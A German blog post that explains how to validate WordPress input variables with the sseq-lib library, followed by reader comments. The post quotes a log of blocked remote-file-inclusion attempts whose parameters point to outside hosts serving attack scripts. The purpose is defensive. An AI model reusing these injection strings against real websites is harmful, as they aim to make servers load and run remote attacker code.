(Unbekannte) WordPress-Schwachstellen absichern

Diese WordPress-Installation verwendet die sseq-lib Sicherheitsbibliothek zur Validierung von Eingangsvariablen im Vorfeld der Verarbeitung durch den WordPress-Kern oder angeschlossene Pugins.

Ist die Protokollierung eingeschaltet, werden damit solche Angriffsversuche fest gehalten:

  • [_GET], cat: INT param not INT, 11 //index.php?str=http://www.********.**/components/id.txt????, GET, /index.php, libwww-perl/5.810,
  • [_GET], paged: INT param not INT, 2/index.php?_REQUEST=, GET, /index.php, libwww-perl/5.810,
  • [_GET], p: INT param not INT, /tikiwiki/tiki-graph_formula.php?w=1, GET, /index.php, libwww-perl/5.79,
  • [_GET], m: INT param not INT, 200803/\“upload.php?file=\“http://***.*****.**/album/PhotoAlbum/galeri/album1212/id.txt???, GET, /index.php, libwww-perl/5.79,
  • [_GET], p: INT param not INT, 30//lib/header.php?DOC_ROOT=http://www.gosgo.com/bbs/idr.txt??, GET, /index.php, Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4,
  • [_GET], page_id: INT param not INT, 145//include/install.phphttp://www.ekorea.net/forum//include/r0x.txt???, GET, /index.php, libwww-perl/5.811,

Dank der Typenprüfung werden solche Angriffe abgewehrt noch bevor sie etwaige Schwachstellen innerhalb der Anwendung erreichen können. Da die Werte nicht dem erwarteten Typ oder Intervall entsprechen, werden sie nach der Überprüfung gelöscht.

Die zu prüfenden Variablennamen können mit einer Quellcodesichtung gewonnen werden oder aber mit Hilfe des Variablen-Protokolls aus sseq-lib. Ein solches Protokoll sieht dabei wie folgt aus:

<br />
[
Paction=autosave<br />
[
Ppost_ID=223<br />
[
Ppost_title=SQL-Injections &#8211; eine Analyse an PHP &#038; MySQL<br />
[Pautosavenonce=a59*****39<br />
[
Ptags_input=creative commons,injection,mysql,PHP,schwachstelle,sql injection,webentwicklung,websicherheit<br />
[
Ppost_type=post<br />
[
Pautosave=0<br />
[
Pcontent=Den vollständigen 1. Teil des Dokumentes unter Creative Common-Lizenz als PDF-Datei herunterladen:<br />
[
Pcomment=Dankedu hast natürlich Recht!<br />
[
Psubmit=Kommentar absenden<br />
[
Pcomment_post_ID=223<br />
[
P_wp_unfiltered_html_comment=cfa*****6b<br />
[
Gp=223<br />
[
Pid=26<br />
[
Paction=dim-comment<br />
[
P_ajax_nonce=b9*****83<br />
[
Gcomment_status=moderated<br />
[
Gjax=planetnews<br />

Es ist die Quelle der Daten zu erkennen (P=POST, G=GET, C=COOKIE, S=SESSION), der Variablenname und der Wert. Aus einer Protokollierung über einige Zeit hinweg kann dabei eine Untermenge der möglichen Eingangsvariablen ermittelt werden mitsamt der zu erwartenden Wertetypen und -längen.

Aus den gewonnenen Daten kann bereits ein Vorfilter erzeugt werden, der die Daten validiert. Er sieht im Falle einer WordPress-Installation z.B. so aus:

<br />
//              VARIABLE NAME       # SOURCE # TYPE # MIN # MAX # XSS # SQL  &#038;<br />
$sanitizer = &#8218;  cat                 # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
p                   # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
page_id             # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
m                   # pg # INT # 1   # 1000000# true # true  &#038;<br />
                
attachment_id       # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
feed                # pg # STR # 1   # 50     # true # true  &#038;<br />
                
author              # p  # STR # 1   # 30     #      # true  &#038;<br />
                
email               # p  # STR # 1   # 100    #      # true  &#038;<br />
                
url                 # p  # STR # 1   # 100    #      # true  &#038;<br />
                
message             # p  # STR # 1   #        #      # true  &#038;<br />
                
comment_post_ID     # p  # INT # 1   # 1000   # true # true  &#038;<br />
                
paged               # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
autosave            # p  # INT # 0   # 1      #      #       &#038;<br />
                
post_ID             # p  # INT # 1   # 1000   #      # true  &#038;<br />
                
action              # p  # STR # 1   # 100    #      # true  &#038;<br />
                
autosavenonce       # p  # STR # 1   # 10     #      # true  &#038;<br />
                
samplepermalinknonce# p  # STR # 1   # 10     #      # true  &#038;<br />
                
closedpostboxesnonce# p  # STR # 1   # 10     #      # true  &#038;<br />
                
getpermalinknonce   # p  # STR # 1   # 10     #      # true  &#038;<br />
                
_ajax_nonce         # p  # STR # 1   # 10     #      # true  &#038;<br />
                
post_type           # p  # STR # 1   # 10     #      # true  &#038;<br />
                
post_author         # p  # INT # 1   # 30     #      # true  &#038;<br />
                
comment_status      # p  # STR # 1   # 10     #      # true  &#038;<br />
                
ping_status         # p  # STR # 1   # 10     #      # true  &#038;<br />
                
&#8218;;<br />

Um die Validierung einzuschalten, wird die Sicherheitsbibliothek zusammen mit dem Filter in die Datei „wp-load.php“ eingebunden.

<br />
define( &#8218;ABSPATH&#8216;, dirname(__FILE__) . &#8218;/&#8216; );</p>
<p>error_reporting(E_ALL E_NOTICE E_USER_NOTICE);</p>
<
p>include_once(ABSPATH . &#8217;sseq-lib/seq_lib.php&#8216;);</p>
<p>//              VARIABLE NAME       # SOURCE # TYPE # MIN # MAX # XSS # SQL  &#038;</p>
<p>$sanitizer = &#8218;  cat                 # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
p                   # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
page_id             # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
m                   # pg # INT # 1   # 1000000# true # true  &#038;<br />
                
attachment_id       # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
feed                # pg # STR # 1   # 50     # true # true  &#038;<br />
                
author              # p  # STR # 1   # 30     #      # true  &#038;<br />
                
email               # p  # STR # 1   # 100    #      # true  &#038;<br />
                
url                 # p  # STR # 1   # 100    #      # true  &#038;<br />
                
message             # p  # STR # 1   #        #      # true  &#038;<br />
                
comment_post_ID     # p  # INT # 1   # 1000   # true # true  &#038;<br />
                
paged               # pg # INT # 1   # 1000   # true # true  &#038;<br />
                
autosave            # p  # INT # 0   # 1      #      #       &#038;<br />
                
post_ID             # p  # INT # 1   # 1000   #      # true  &#038;<br />
                
action              # p  # STR # 1   # 100    #      # true  &#038;<br />
                
autosavenonce       # p  # STR # 1   # 10     #      # true  &#038;<br />
                
samplepermalinknonce# p  # STR # 1   # 10     #      # true  &#038;<br />
                
closedpostboxesnonce# p  # STR # 1   # 10     #      # true  &#038;<br />
                
getpermalinknonce   # p  # STR # 1   # 10     #      # true  &#038;<br />
                
_ajax_nonce         # p  # STR # 1   # 10     #      # true  &#038;<br />
                
post_type           # p  # STR # 1   # 10     #      # true  &#038;<br />
                
post_author         # p  # INT # 1   # 30     #      # true  &#038;<br />
                
comment_status      # p  # STR # 1   # 10     #      # true  &#038;<br />
                
ping_status         # p  # STR # 1   # 10     #      # true  &#038;<br />
                
&#8218;;<br />
SEQ_SANITIZE($sanitizer);<br />

Ergänzt man diese Filterliste um weitere Parameter – die z.B. nach der Installation eines Plugins – so erreicht man mit der Zeit eine erhöhte Sicherheit, die für die eigene Installation angepasst ist. Durch die Validierung können auch Angriffe abgewehrt werden, die noch unbekannte Schwachstellen auszunutzen versuchen. Insbesondere ist man damit imstande, eine unbekannte Anwendung abzusichern, ohne den Quellcode verstehen oder ändern zu müssen.

Das könnte Dich auch interessieren …

4 Antworten

  1. Patrick sagt:

    Vielen Dank für die tolle Arbeit! Wie kann ich denn das Variablen-Protokoll erstellen lassen? Die Kommentare aus der Funktion SEQ_DATADUMP habe ich bereits entfernt und eine passende Datei angelegt, allerdings finde ich nicht die Stelle des Funktionsaufrufes. Danke!

  2. Erich Kachel sagt:

    Danke Patrick! Um die Protokollierung zu starten rufst Du SEQ_DATADUMP innerhalb Deiner Anwendung auf:

    SEQ_DATADUMP();

  3. Patrick sagt:

    Das klappt super, danke! Mir ist aufgefallen, dass in Deiner Liste noch der Variablenname s für die Suche fehlt.

    Hast Du Dich schon einmal mit individuellen Permalinks beschäftigt? Wenn ich diese verwende, wird bekannterweise aus ?tag=test => /tag/test. Die Filterung über sseq-lib ist dann nicht mehr aktiv.

    Nun bin ich bis zur WP-datei link-template.php in wp-includes vorgestoßen und suche nach einer Möglichkeit der Einbindung Deiner lib.

    Hast Du einen Tipp? Danke!

  4. Erich Kachel sagt:

    Die Permalinks habe ich mir angeschaut, jedoch noch nicht die Stelle zum Abgreifen gefunden. Poste die Lösung, wenn du erfolgreich bist!

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.